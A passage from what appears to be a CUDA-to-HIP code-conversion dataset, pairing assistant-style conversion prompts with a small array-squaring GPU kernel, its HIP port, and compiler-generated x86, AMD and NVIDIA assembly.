.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
.type _Z39__device_stub__Z17squareWithForLoopPfmmPfmm, @function
_Z39__device_stub__Z17squareWithForLoopPfmmPfmm:
.LFB2082:
.cfi_startproc
endbr64
subq $136, %rsp
.cfi_def_cfa_offset 144
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movq %fs:40, %rax
movq %rax, 120(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 120(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $136, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 152
pushq 40(%rsp)
.cfi_def_cfa_offset 160
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z17squareWithForLoopPfmm(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 144
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z39__device_stub__Z17squareWithForLoopPfmmPfmm, .-_Z39__device_stub__Z17squareWithForLoopPfmmPfmm
.globl _Z17squareWithForLoopPfmm
.type _Z17squareWithForLoopPfmm, @function
_Z17squareWithForLoopPfmm:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z17squareWithForLoopPfmm, .-_Z17squareWithForLoopPfmm
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "\t"
.LC1:
.string "\n"
.LC2:
.string "%8.3f"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $56, %rsp
.cfi_def_cfa_offset 112
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
movl $512, %edi
call malloc@PLT
movq %rax, %rbp
movl $0, %eax
jmp .L14
.L12:
movq %rax, %rdx
shrq %rdx
movq %rax, %rcx
andl $1, %ecx
orq %rcx, %rdx
pxor %xmm0, %xmm0
cvtsi2ssq %rdx, %xmm0
addss %xmm0, %xmm0
.L13:
movss %xmm0, 0(%rbp,%rax,4)
addq $1, %rax
cmpq $128, %rax
je .L23
.L14:
testq %rax, %rax
js .L12
pxor %xmm0, %xmm0
cvtsi2ssq %rax, %xmm0
jmp .L13
.L23:
leaq 8(%rsp), %rdi
movl $512, %esi
call cudaMalloc@PLT
movl $1, %ecx
movl $512, %edx
movq %rbp, %rsi
movq 8(%rsp), %rdi
call cudaMemcpy@PLT
movl $32, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L24
.L15:
movl $2, %ecx
movl $512, %edx
movq 8(%rsp), %rsi
movq %rbp, %rdi
call cudaMemcpy@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movl $0, %ebx
leaq .LC2(%rip), %r15
movabsq $2635249153387078803, %r14
leaq .LC1(%rip), %r13
leaq .LC0(%rip), %r12
.L17:
pxor %xmm0, %xmm0
cvtss2sd 0(%rbp,%rbx,4), %xmm0
movq %r15, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movq %rbx, %rax
mulq %r14
movq %rbx, %rax
subq %rdx, %rax
shrq %rax
addq %rax, %rdx
shrq $2, %rdx
leaq 0(,%rdx,8), %rax
subq %rdx, %rax
movq %rbx, %rdx
subq %rax, %rdx
cmpq $6, %rdx
movq %r12, %rsi
cmove %r13, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $1, %rbx
cmpq $128, %rbx
jne .L17
leaq .LC1(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rbp, %rdi
call free@PLT
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L25
movl $0, %eax
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L24:
.cfi_restore_state
movl $32, %edx
movl $4, %esi
movq 8(%rsp), %rdi
call _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
jmp .L15
.L25:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.1
.LC3:
.string "_Z17squareWithForLoopPfmm"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC3(%rip), %rdx
movq %rdx, %rcx
leaq _Z17squareWithForLoopPfmm(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "cuda_runtime.h"
#include "device_launch_parameters.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
cudaMalloc((void **)&d_array, totalArraySize);
cudaMemcpy(d_array, h_array, totalArraySize, cudaMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
cudaMemcpy(h_array, d_array, totalArraySize, cudaMemcpyDeviceToHost);
cudaFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} | #include "hip/hip_runtime.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
hipMalloc((void **)&d_array, totalArraySize);
hipMemcpy(d_array, h_array, totalArraySize, hipMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
hipMemcpy(h_array, d_array, totalArraySize, hipMemcpyDeviceToHost);
hipFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include "hip/hip_runtime.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
hipMalloc((void **)&d_array, totalArraySize);
hipMemcpy(d_array, h_array, totalArraySize, hipMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
hipMemcpy(h_array, d_array, totalArraySize, hipMemcpyDeviceToHost);
hipFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z17squareWithForLoopPfmm
.globl _Z17squareWithForLoopPfmm
.p2align 8
.type _Z17squareWithForLoopPfmm,@function
_Z17squareWithForLoopPfmm:
s_load_b64 s[2:3], s[0:1], 0x8
s_waitcnt lgkmcnt(0)
s_cmp_eq_u64 s[2:3], 0
s_cbranch_scc1 .LBB0_3
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x0
s_load_b64 s[0:1], s[0:1], 0x10
v_lshlrev_b32_e32 v0, 2, v0
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_co_u32 v0, s4, s4, v0
v_add_co_ci_u32_e64 v1, null, s5, 0, s4
s_lshl_b64 s[0:1], s[0:1], 2
.LBB0_2:
global_load_b32 v2, v[0:1], off
s_add_u32 s2, s2, -1
s_addc_u32 s3, s3, -1
s_delay_alu instid0(SALU_CYCLE_1)
s_cmp_lg_u64 s[2:3], 0
s_waitcnt vmcnt(0)
v_mul_f32_e32 v2, v2, v2
global_store_b32 v[0:1], v2, off
v_add_co_u32 v0, vcc_lo, v0, s0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
s_cbranch_scc1 .LBB0_2
.LBB0_3:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z17squareWithForLoopPfmm
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 24
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 3
.amdhsa_next_free_sgpr 6
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z17squareWithForLoopPfmm, .Lfunc_end0-_Z17squareWithForLoopPfmm
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 8
.value_kind: by_value
- .offset: 16
.size: 8
.value_kind: by_value
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 24
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z17squareWithForLoopPfmm
.private_segment_fixed_size: 0
.sgpr_count: 8
.sgpr_spill_count: 0
.symbol: _Z17squareWithForLoopPfmm.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 3
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include "hip/hip_runtime.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
hipMalloc((void **)&d_array, totalArraySize);
hipMemcpy(d_array, h_array, totalArraySize, hipMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
hipMemcpy(h_array, d_array, totalArraySize, hipMemcpyDeviceToHost);
hipFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} | .text
.file "squareLoop.hip"
.globl _Z32__device_stub__squareWithForLoopPfmm # -- Begin function _Z32__device_stub__squareWithForLoopPfmm
.p2align 4, 0x90
.type _Z32__device_stub__squareWithForLoopPfmm,@function
_Z32__device_stub__squareWithForLoopPfmm: # @_Z32__device_stub__squareWithForLoopPfmm
.cfi_startproc
# %bb.0:
subq $104, %rsp
.cfi_def_cfa_offset 112
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z17squareWithForLoopPfmm, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $120, %rsp
.cfi_adjust_cfa_offset -120
retq
.Lfunc_end0:
.size _Z32__device_stub__squareWithForLoopPfmm, .Lfunc_end0-_Z32__device_stub__squareWithForLoopPfmm
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r13
.cfi_def_cfa_offset 32
pushq %r12
.cfi_def_cfa_offset 40
pushq %rbx
.cfi_def_cfa_offset 48
subq $112, %rsp
.cfi_def_cfa_offset 160
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r13, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movl $512, %edi # imm = 0x200
callq malloc
movq %rax, %rbx
xorl %eax, %eax
jmp .LBB1_1
.p2align 4, 0x90
.LBB1_3: # in Loop: Header=BB1_1 Depth=1
xorps %xmm0, %xmm0
cvtsi2ss %rax, %xmm0
.LBB1_4: # in Loop: Header=BB1_1 Depth=1
movss %xmm0, (%rbx,%rax,4)
incq %rax
cmpq $128, %rax
je .LBB1_5
.LBB1_1: # =>This Inner Loop Header: Depth=1
testq %rax, %rax
jns .LBB1_3
# %bb.2: # in Loop: Header=BB1_1 Depth=1
movq %rax, %rcx
shrq %rcx
movl %eax, %edx
andl $1, %edx
orq %rcx, %rdx
xorps %xmm0, %xmm0
cvtsi2ss %rdx, %xmm0
addss %xmm0, %xmm0
jmp .LBB1_4
.LBB1_5:
movq %rsp, %rdi
movl $512, %esi # imm = 0x200
callq hipMalloc
movq (%rsp), %rdi
movl $512, %edx # imm = 0x200
movq %rbx, %rsi
movl $1, %ecx
callq hipMemcpy
movabsq $4294967297, %rdi # imm = 0x100000001
leaq 31(%rdi), %rdx
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB1_7
# %bb.6:
movq (%rsp), %rax
movq %rax, 72(%rsp)
movq $4, 64(%rsp)
movq $32, 56(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z17squareWithForLoopPfmm, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB1_7:
movq (%rsp), %rsi
movl $512, %edx # imm = 0x200
movq %rbx, %rdi
movl $2, %ecx
callq hipMemcpy
movq (%rsp), %rdi
callq hipFree
movabsq $2635249153387078803, %r15 # imm = 0x2492492492492493
movl $.L.str.2, %r12d
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB1_8: # =>This Inner Loop Header: Depth=1
movq %r14, %rax
mulq %r15
movq %r14, %rax
subq %rdx, %rax
shrq %rax
addq %rdx, %rax
shrq $2, %rax
leaq (,%rax,8), %r13
subq %rax, %r13
addq $6, %r13
movss (%rbx,%r14,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movl $.L.str, %edi
movb $1, %al
callq printf
cmpq %r14, %r13
movl $.L.str.1, %edi
cmoveq %r12, %rdi
xorl %eax, %eax
callq printf
incq %r14
cmpq $128, %r14
jne .LBB1_8
# %bb.9:
movl $10, %edi
callq putchar@PLT
movq %rbx, %rdi
callq free
xorl %eax, %eax
addq $112, %rsp
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.Lfunc_end1:
.size main, .Lfunc_end1-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB2_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB2_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z17squareWithForLoopPfmm, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end2:
.size __hip_module_ctor, .Lfunc_end2-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB3_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB3_2:
retq
.Lfunc_end3:
.size __hip_module_dtor, .Lfunc_end3-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z17squareWithForLoopPfmm,@object # @_Z17squareWithForLoopPfmm
.section .rodata,"a",@progbits
.globl _Z17squareWithForLoopPfmm
.p2align 3, 0x0
_Z17squareWithForLoopPfmm:
.quad _Z32__device_stub__squareWithForLoopPfmm
.size _Z17squareWithForLoopPfmm, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%8.3f"
.size .L.str, 6
.type .L.str.1,@object # @.str.1
.L.str.1:
.asciz "\t"
.size .L.str.1, 2
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz "\n"
.size .L.str.2, 2
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z17squareWithForLoopPfmm"
.size .L__unnamed_1, 26
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z32__device_stub__squareWithForLoopPfmm
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z17squareWithForLoopPfmm
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z17squareWithForLoopPfmm
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ ISETP.NE.U32.AND P0, PT, RZ, c[0x0][0x168], PT ; /* 0x00005a00ff007a0c */
/* 0x000fc80003f05070 */
/*0020*/ ISETP.NE.AND.EX P0, PT, RZ, c[0x0][0x16c], PT, P0 ; /* 0x00005b00ff007a0c */
/* 0x000fda0003f05300 */
/*0030*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0040*/ IMAD.MOV.U32 R2, RZ, RZ, c[0x0][0x168] ; /* 0x00005a00ff027624 */
/* 0x000fe200078e00ff */
/*0050*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e220000002100 */
/*0060*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x16c] ; /* 0x00005b00ff007624 */
/* 0x000fe200078e00ff */
/*0070*/ ULDC.64 UR10, c[0x0][0x118] ; /* 0x00004600000a7ab9 */
/* 0x000fe40000000a00 */
/*0080*/ IADD3 R4, P1, R2.reuse, -0x1, RZ ; /* 0xffffffff02047810 */
/* 0x040fe40007f3e0ff */
/*0090*/ LOP3.LUT R2, R2, 0x3, RZ, 0xc0, !PT ; /* 0x0000000302027812 */
/* 0x000fe400078ec0ff */
/*00a0*/ ISETP.GE.U32.AND P0, PT, R4, 0x3, PT ; /* 0x000000030400780c */
/* 0x000fe20003f06070 */
/*00b0*/ IMAD.MOV.U32 R4, RZ, RZ, RZ ; /* 0x000000ffff047224 */
/* 0x000fe200078e00ff */
/*00c0*/ IADD3.X R0, R0, -0x1, RZ, P1, !PT ; /* 0xffffffff00007810 */
/* 0x000fc80000ffe4ff */
/*00d0*/ ISETP.GE.U32.AND.EX P0, PT, R0, RZ, PT, P0 ; /* 0x000000ff0000720c */
/* 0x000fda0003f06100 */
/*00e0*/ @!P0 BRA 0xfe0 ; /* 0x00000ef000008947 */
/* 0x000fea0003800000 */
/*00f0*/ IADD3 R5, P0, R2, -c[0x0][0x168], RZ ; /* 0x80005a0002057a10 */
/* 0x001fe20007f1e0ff */
/*0100*/ UMOV UR6, 0x4 ; /* 0x0000000400067882 */
/* 0x000fe20000000000 */
/*0110*/ LEA R12, P1, R3.reuse, c[0x0][0x160], 0x2 ; /* 0x00005800030c7a11 */
/* 0x040fe200078210ff */
/*0120*/ ULDC.64 UR8, c[0x0][0x170] ; /* 0x00005c0000087ab9 */
/* 0x000fe40000000a00 */
/*0130*/ IMAD.X R0, RZ, RZ, ~c[0x0][0x16c], P0 ; /* 0x80005b00ff007624 */
/* 0x000fe200000e06ff */
/*0140*/ UIMAD.WIDE.U32 UR4, UR6, UR8, URZ ; /* 0x00000008060472a5 */
/* 0x000fe2000f8e003f */
/*0150*/ LEA.HI.X R13, R3, c[0x0][0x164], R4, 0x2, P1 ; /* 0x00005900030d7a11 */
/* 0x000fe200008f1404 */
/*0160*/ UIMAD UR6, UR6, UR9, URZ ; /* 0x00000009060672a4 */
/* 0x000fe4000f8e023f */
/*0170*/ ISETP.GE.AND P0, PT, R0, RZ, PT ; /* 0x000000ff0000720c */
/* 0x000fc40003f06270 */
/*0180*/ UIADD3 UR6, UR5, UR6, URZ ; /* 0x0000000605067290 */
/* 0x000fd6000fffe03f */
/*0190*/ @P0 BRA 0xdb0 ; /* 0x00000c1000000947 */
/* 0x000fea0003800000 */
/*01a0*/ IADD3 R6, P0, RZ, -R5, RZ ; /* 0x80000005ff067210 */
/* 0x000fc80007f1e0ff */
/*01b0*/ ISETP.GT.U32.AND P1, PT, R6, 0xc, PT ; /* 0x0000000c0600780c */
/* 0x000fe20003f24070 */
